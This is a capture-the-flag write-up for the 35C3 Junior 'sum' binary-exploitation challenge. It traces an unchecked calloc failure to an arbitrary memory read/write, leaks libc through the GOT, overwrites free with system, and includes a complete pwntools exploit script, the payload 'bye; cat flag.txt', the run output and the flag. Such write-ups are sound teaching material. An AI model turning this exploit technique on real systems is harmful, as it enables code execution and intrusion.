Dvd848 / **CTFs**

Branch: **master** ▾ **CTFs** / 2018_35C3_Junior / **sum.md** Find file Copy path

Dvd848 35C3 fb03d01 on Jan 1

1 contributor

334 lines (289 sloc) 13.3 KB

sum

PWN

Description:

> Sum it up!

An executable and libc-2.27.so were attached.

Solution:

Let's see what the program does:

```
root@kali:/media/sf_CTFs/35c3ctf/sum# ./sum
---------------------
Simple Sum Calculator
---------------------

How many values to you want to sum up?
> 3
Allocated space for 3 values

Enter the values you want to sum up.
You can perform the following operations:
[1] set <x> <d>
    Set the x-th value to d
[2] get <x>
    Read the x-th value
[3] sum
    Calculate the sum of all values and leave the program
[4] bye
    Leave the program


Enter the command you want to execute.
[1] set <x> <d>
[2] get <x>
[3] sum
[4] bye
```

After playing around with the program a bit, I tried to allocate -1 values and got the following result:

```
root@kali:/media/sf_CTFs/35c3ctf/sum# ./sum
---------------------
Simple Sum Calculator
---------------------

How many values to you want to sum up?
> -1
Allocated space for 18446744073709551615 values

Enter the values you want to sum up.
You can perform the following operations:
[1] set <x> <d>
```

```
    Set the x-th value to d
[2] get <x>
    Read the x-th value
[3] sum
    Calculate the sum of all values and leave the program
[4] bye
    Leave the program


Enter the command you want to execute.
[1] set <x> <d>
[2] get <x>
[3] sum
[4] bye

> set 0 7
Segmentation fault
```

To understand why, let's take a look at the assembly:

```
|           0x00400920      488d35990300.  lea rsi, str.How_many_values_to_you_want_to_sum_up ; 0x400cc0 ;
|           0x00400927      bf01000000     mov edi, 1
|           0x0040092c      b800000000     mov eax, 0
|           0x00400931      e85afeffff     call sym.imp.__printf_chk
|           0x00400936      4889e3         mov rbx, rsp
|       ,=< 0x00400939      eb20           jmp 0x40095b
|      .--> 0x0040093b      488d351e0300.  lea rsi, str.Try_again      ; 0x400c60 ; "Try again\n> "
|      :|   0x00400942      bf01000000     mov edi, 1
|      :|   0x00400947      b800000000     mov eax, 0
|      :|   0x0040094c      e83ffeffff     call sym.imp.__printf_chk
|      :|   0x00400951      b800000000     mov eax, 0
|      :|   0x00400956      e85cffffff     call sym.flush_line
|      :|   ; CODE XREF from sym.calculator (0x400939)
|      :`-> 0x0040095b      4889de         mov rsi, rbx
|      :    0x0040095e      488d3d2c0300.  lea rdi, [0x00400c91]       ; "%zu"
|      :    0x00400965      b800000000     mov eax, 0
|      :    0x0040096a      e841feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|      :    0x0040096f      83f801         cmp eax, 1                  ; 1
|      `==< 0x00400972      75c7           jne 0x40093b
|           0x00400974      b800000000     mov eax, 0
|           0x00400979      e839ffffff     call sym.flush_line
|           0x0040097e      488b1c24       mov rbx, qword [rsp]
|           0x00400982      be08000000     mov esi, 8
|           0x00400987      4889df         mov rdi, rbx
|           0x0040098a      e8d1fdffff     call sym.imp.calloc         ; void *calloc(size_t nmeb, size_t s
|           0x0040098f      4989c4         mov r12, rax
|           0x00400992      4889da         mov rdx, rbx
|           0x00400995      488d35540300.  lea rsi, str.Allocated_space_for__zu_values ; 0x400cf0 ; "Alloca
```

The program calls `calloc` to allocate memory of size `rbx` (received from the user), but doesn't check that the return value isn't NULL. `r12` saves the base address of the allocated memory (or just 0 in our case), and future access to index #x is done by:

```
                                                .----------------------------------.
                                                |  0x400aaf [gw]                   |
                                                | ; [0x18:8]=-1                    |
                                                | ; 24                             |
                                                | mov rax, qword [input_index]     |
                                                | cmp rax, qword [rsp]             |
                                                | jae 0x4009da;[gl]                |
                                                `----------------------------------'
                                                      t f
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                                      | |
                                               .------' |
     .--------------------------------------------------'
     |                                         |
 .--------------------------------------.    .-----------------------------------------.
 |  0x400abe [gx]                       |    |  0x4009da [gl]                          |
 | ; [0x20:8]=-1                        |    | ; 0x400c79                              |
 | ; 32                                 |    | ; "Index out of bounds"                 |
 | mov rdx, qword [input_value]         |    | lea rdi, str.Index_out_of_bounds        |
 | mov qword [r12 + rax*8], rdx         |    | ; int puts(const char *s)               |
 | jmp 0x400a54;[gj]                    |    | call sym.imp.puts;[ga]                  |
 `--------------------------------------'    | jmp 0x400a54;[gj]                       |
     v                                       `-----------------------------------------'
```

The key instruction here is:

```
mov qword [r12 + rax*8], rdx
```

Since we control `rax` and `r12` is 0, we can basically write to any location in memory as long as it is a multiple of 8. And since the `get` logic is similar, we can also read any such address:

```
 .-------------------------------------.
 |  0x400ad4 [gz]                      |
 | mov rdx, qword [r12 + rax*8]        |
 | ; "%ld\n"                           |
 | lea rsi, [0x00400ca5]               |
 | mov edi, 1                          |
 | mov eax, 0                          |
 | call sym.imp.__printf_chk;[gc]      |
 | jmp 0x400a54;[gj]                   |
 `-------------------------------------'
```

What should we read? We can use this vulnerability to try and leak a GOT entry, and calculate the LibC base address.

For example, the address of `puts`, which is at 0x00602028:

```
[0x004008d6]> ir
[Relocations]
vaddr=0x00601ff0 paddr=0x00001ff0 type=SET_64 __libc_start_main
vaddr=0x00601ff8 paddr=0x00001ff8 type=SET_64 __gmon_start__
vaddr=0x00602080 paddr=0x00602080 type=SET_64
vaddr=0x00602090 paddr=0x00602090 type=SET_64
vaddr=0x00602018 paddr=0x00002018 type=SET_64 free
vaddr=0x00602020 paddr=0x00002020 type=SET_64 putchar
vaddr=0x00602028 paddr=0x00002028 type=SET_64 puts
vaddr=0x00602030 paddr=0x00002030 type=SET_64 __stack_chk_fail
vaddr=0x00602038 paddr=0x00002038 type=SET_64 calloc
vaddr=0x00602040 paddr=0x00002040 type=SET_64 _IO_getc
vaddr=0x00602048 paddr=0x00002048 type=SET_64 __isoc99_sscanf
vaddr=0x00602050 paddr=0x00002050 type=SET_64 __printf_chk
vaddr=0x00602058 paddr=0x00002058 type=SET_64 setvbuf
vaddr=0x00602060 paddr=0x00002060 type=SET_64 __isoc99_scanf
vaddr=0x00602068 paddr=0x00002068 type=SET_64 getline
```

Once we have the runtime address of `puts`, we subtract from it the fixed address of `puts` in the LibC binary we have, and get the runtime base address of LibC.

Then, we can calculate the runtime address of any LibC function (e.g. `system`) and replace some other GOT entry with our chosen address. When the program calls the original function, our function will be called instead.

Our victim will be `free`, since:

1. It is located at 0x00602018 - an address which we can access
2. It hold a pointer to the buffer which contains the command we enter - and therefore control
3. We can control when it is called (when we quit the program - in order to cleanup resources)

```
.------------------------------------.
|  0x400b3c [gr]                     |
| ; [0x8:8]=-1                      |
| ; 8                               |
| mov rdi, qword [line_ptr]         |
| ; void free(void *ptr)            |
| call sym.imp.free;[gAe]           |
| ; [0x28:8]=-1                     |
| ; '('                             |
| ; 40                              |
| mov rax, qword [local_28h]        |
| xor rax, qword fs:[0x28]          |
| jne 0x400b6a;[gAf]                |
`-----------------------------------'
```

So, our plan (after calculating the LibC base address) is:

1. Replace `free` with `system`
2. Enter a command of `bye; cat flag.txt`
3. The program will quit, attempt to free the command buffer and end up calling `system` with `bye; cat flag.txt`, which will eventually print the flag.

Putting it all together:

```python
from pwn import *
import argparse
import os
import string

#context.log_level = "debug"
LOCAL_PATH = "./sum"

def get_process(is_remote = False):
    if is_remote:
        return remote("35.207.132.47", 22226)
    else:
        return process(LOCAL_PATH)

def get_libc_path(is_remote = False):
    if is_remote:
        return "./libc-2.27.so"
    else:
        return "/lib/x86_64-linux-gnu/libc.so.6"

def read_menu(proc):
    proc.recvuntil("\n> ")

def set_addr(proc, addr, value):
    log.info("Setting address {} to value {}".format(hex(addr), hex(value)))
    assert(addr % 8 == 0)
    set_cmd(proc, addr / 8, value)

def get_addr(proc, addr):
    log.info("Getting value of address {}".format(hex(addr)))
    assert(addr % 8 == 0)
    return int(get_cmd(proc, addr / 8))

def set_cmd(proc, index, value):
    log.info("Setting index {} to value {}".format(index, value))
    read_menu(proc)
    proc.sendline("set {} {}".format(index, value))

def get_cmd(proc, index):
    read_menu(proc)
    proc.sendline("get {}".format(index))
    out = proc.readline(keepends = False)
    log.info("Index {} has value {} ({})".format(index, out, hex(int(out))))
    return out

def bye_cmd(proc):
    read_menu(proc)
    proc.sendline("bye")

parser = argparse.ArgumentParser()
parser.add_argument("-r", "--remote", help="Execute on remote server", action="store_true")
args = parser.parse_args()
```

```
e = ELF(LOCAL_PATH)
libc = ELF(get_libc_path(args.remote))
context.binary = e.path

p = get_process(args.remote)

p.sendlineafter("How many values to you want to sum up?\n> ", "-1")
log.info("puts() - GOT: {}, PLT: {}".format(hex(e.got["puts"]), hex(e.plt["puts"])))
puts_addr = get_addr(p, e.got["puts"])
log.info("Runtime address of puts(): {}".format(hex(puts_addr)))
libc_base = puts_addr - libc.symbols['puts']
log.info("LibC Base: {}".format(hex(libc_base)))

libc.address = libc_base

log.info("free() GOT: {}".format(hex(e.got["free"])))
log.info("system() runtime address: {}".format(hex(libc.symbols["system"])))
set_addr(p, e.got["free"], libc.symbols["system"])
read_menu(p)
payload = "bye; cat flag.txt"
log.info("Sending payload: {}".format(payload))
p.sendline(payload)
print p.recvall()
```

The output:

```
root@kali:/media/sf_CTFs/35c3ctf/sum# python exploit.py -r
[*] '/media/sf_CTFs/35c3ctf/sum/sum'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
[*] '/media/sf_CTFs/35c3ctf/sum/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.207.132.47 on port 22226: Done
[*] puts() - GOT: 0x602028, PLT: 0x400740
[*] Getting value of address 0x602028
[*] Index 787461 has value 140311052597696 (0x7f9cb672b9c0)
[*] Runtime address of puts(): 0x7f9cb672b9c0
[*] LibC Base: 0x7f9cb66ab000
[*] free() GOT: 0x602018
[*] system() runtime address: 0x7f9cb66fa440
[*] Setting address 0x602018 to value 0x7f9cb66fa440
[*] Setting index 787459 to value 140311052395584
[*] Sending payload: bye; cat flag.txt
[+] Receiving all data: Done (68B)
[*] Closed connection to 35.207.132.47 port 22226
sh: 1: bye: not found
35C3_346adfac5fdfa6b65e103de62310bcf2d7606729
```

The flag: 35C3_346adfac5fdfa6b65e103de62310bcf2d7606729